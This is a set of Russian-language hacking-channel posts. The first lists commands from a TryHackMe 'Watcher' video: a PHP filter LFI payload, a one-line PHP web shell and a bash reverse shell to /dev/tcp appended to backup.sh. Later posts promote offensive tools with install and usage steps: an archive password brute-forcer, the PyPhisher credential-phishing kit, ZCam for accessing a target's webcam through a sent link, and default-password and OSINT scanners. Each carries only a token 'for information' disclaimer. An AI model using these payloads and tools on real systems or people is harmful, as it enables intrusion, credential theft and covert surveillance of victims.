✍️ Софт и команды из видео

🖥 Большой выбор бесплатных машин
https://tryhackme.com/

🖥 Машина из видео
https://tryhackme.com/room/watcher

🔎 Nmap под разные ОС
https://nmap.org/download.html

🗂 Перебор директорий - dirsearch
https://github.com/maurosoria/dirsearch

☠️ pwncat
https://github.com/calebstewart/pwncat

⌨️ Rustscan

$ rustscan -a ipaddr

⌨️ php wrapper

php://filter/convert.base64-encode/resource=index

⌨️ php shell

<?php system($_GET['cmd'])?>

⌨️ sh reverse shell

echo "/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" >> backup.sh

#pentest #redteam #youtube

NoSQLMap — инструмент Python с открытым исходным кодом, предназначенный для аудита, а также для автоматизации атак путем внедрения и использования слабых сторон конфигурации по умолчанию в базах данных NoSQL и веб-приложениях, использующих NoSQL, для раскрытия или клонирования данных из базы данных.

⚠️ Информация предоставлена исключительно с целью ознакомления. И побуждает обратить внимание на проблемы в безопасности.

⚙️ GitHub/Инструкция

#redteam #pentest #github #soft #python

☠️ Как стать хакером?
⚡️ Большая пошаговая практика по хакингу и пентесту для новичков
🔥 Ломаем сайт на Wordpress, раскучиваем SQL инъекцию

🌵 Энумерация
🌵 SQL инъекции
🌵 Взлом хэшей паролей
🌵 Поиск субдоменов и директорий
🌵 Reverse shell
🌵 Повышение привилегий

Если интересна тема пентеста и хакинга на практике, поддержите видео лайком и комментарием на YouTube. Спасибо за поддержку! 💪

https://youtu.be/chC6DWwOiKc

#youtube #pentest #redteam

Шпаргалка по Kali Linux

🔸 SQLMap Examples
🔸 Metasploit
🔸 Exploit Research
🔸 Password Cracking
🔸 Username Enumeration
🔸 HTTP / HTTPS Webserver Enumeration
🔸 DNSRecon
🔸 NMAP Commands и д.р

#redteam #pentest #github

🔥 Полезные библиотеки Python

CompressedCrack - простой и эффективный скрипт для подбора паролей к zip и rar архивам.

Установка:

$ git clone https://github.com/thanhminh6996/CompressedCrack.git

$ cd ./CompressedCrack

Использование:
Нас интересует скрипт crack.py который принимает несколько параметров:

$ python crack.py -i file_name min_character max_character characters

🌵 -i file_name : путь до архива.
🌵 min_character: минимальное количество символов в пароле.
🌵 max_character: максимальное количество символов в пароле.
🌵 characters: используемые в пароле символы по которым будет осуществляться перебор, 123qwerty!@$ и т.д.

$ python crack.py -i file.zip 1 5 1234567890

⚙️ GitHub/Инструкция

#python #soft #github #redteam

🔥 Полезные библиотеки Python

PyPhisher - лучший инструмент для фишинга на Python. Включает в себя популярные веб-сайты, такие как facebook, twitter, instagram, github, reddit, gmail и многие другие.

Скрипт генерирует ссылки для фишинга популярных социальных сетей и как только username входит в систему, учетные данные перехватываются хакером.

⚠️ Информация предоставлена исключительно с целью ознакомления. И побуждает обратить внимание на проблемы в безопасности.

⚙️ GitHub/Инструкция

#redteam #github #soft #python

🔥 Полезные библиотеки Python

💻 Photon — невероятно быстрый сканер, разработанный для OSINT.

Может извлекать следующие данные во время сканирования:
🌵 URL-адреса (входящие и не входящие)
🌵 URL-адреса с параметрами ( example.com/gallery.php?id=2)
🌵 Intel (электронная почта, учетные записи в социальных сетях, корзины Amazon и т. д.)
🌵 Файлы (pdf, png, xml и т. д.)
🌵 Секретные ключи (ключи авторизации/API и хэши)
🌵 Файлы JavaScript и присутствующие в них конечные точки
🌵 Строки, соответствующие пользовательскому шаблону регулярного выражения
🌵 Субдомены и данные, связанные с DNS

💬 Установка:

$ git clone https://github.com/s0md3v/Photon.git
$ cd Photon
$ pip install requirements.txt
$ python photon.py

⚠️ Информация предоставлена исключительно с целью ознакомления. И побуждает обратить внимание на проблемы в безопасности.

⚙️ GitHub/Инструкция

#redteam #github #soft #python

🔥 Полезные библиотеки Python

ZCam - утилита позволяет получать доступ к чужой веб-камере с помощью Python скрипта, который генерирует специальную ссылку для отправки цели.

⚠️ Информация предоставлена исключительно с целью ознакомления. И побуждает обратить внимание на проблемы в безопасности.

⚙️ GitHub/Инструкция

#redteam #github #soft #python

🔥 Полезные библиотеки Python

🔐 Passhunt — простой, полезный инструмент для поиска паролей от роутеров и веб-приложений.

На данный момент в базе более 2000 дефолтных паролей от разных роутеров.

Установка:

$ git clone https://github.com/Viralmaniar/Passhunt.git
$ cd Passhunt
$ pip3 install -r requirements.txt

Запуск:

$ python3 Passhunt.py

⚙️ GitHub/Инструкция

⚠️ Информация предоставлена исключительно с целью ознакомления. И побуждает обратить внимание на проблемы в безопасности.

#python #github #soft #code #redteam #pentest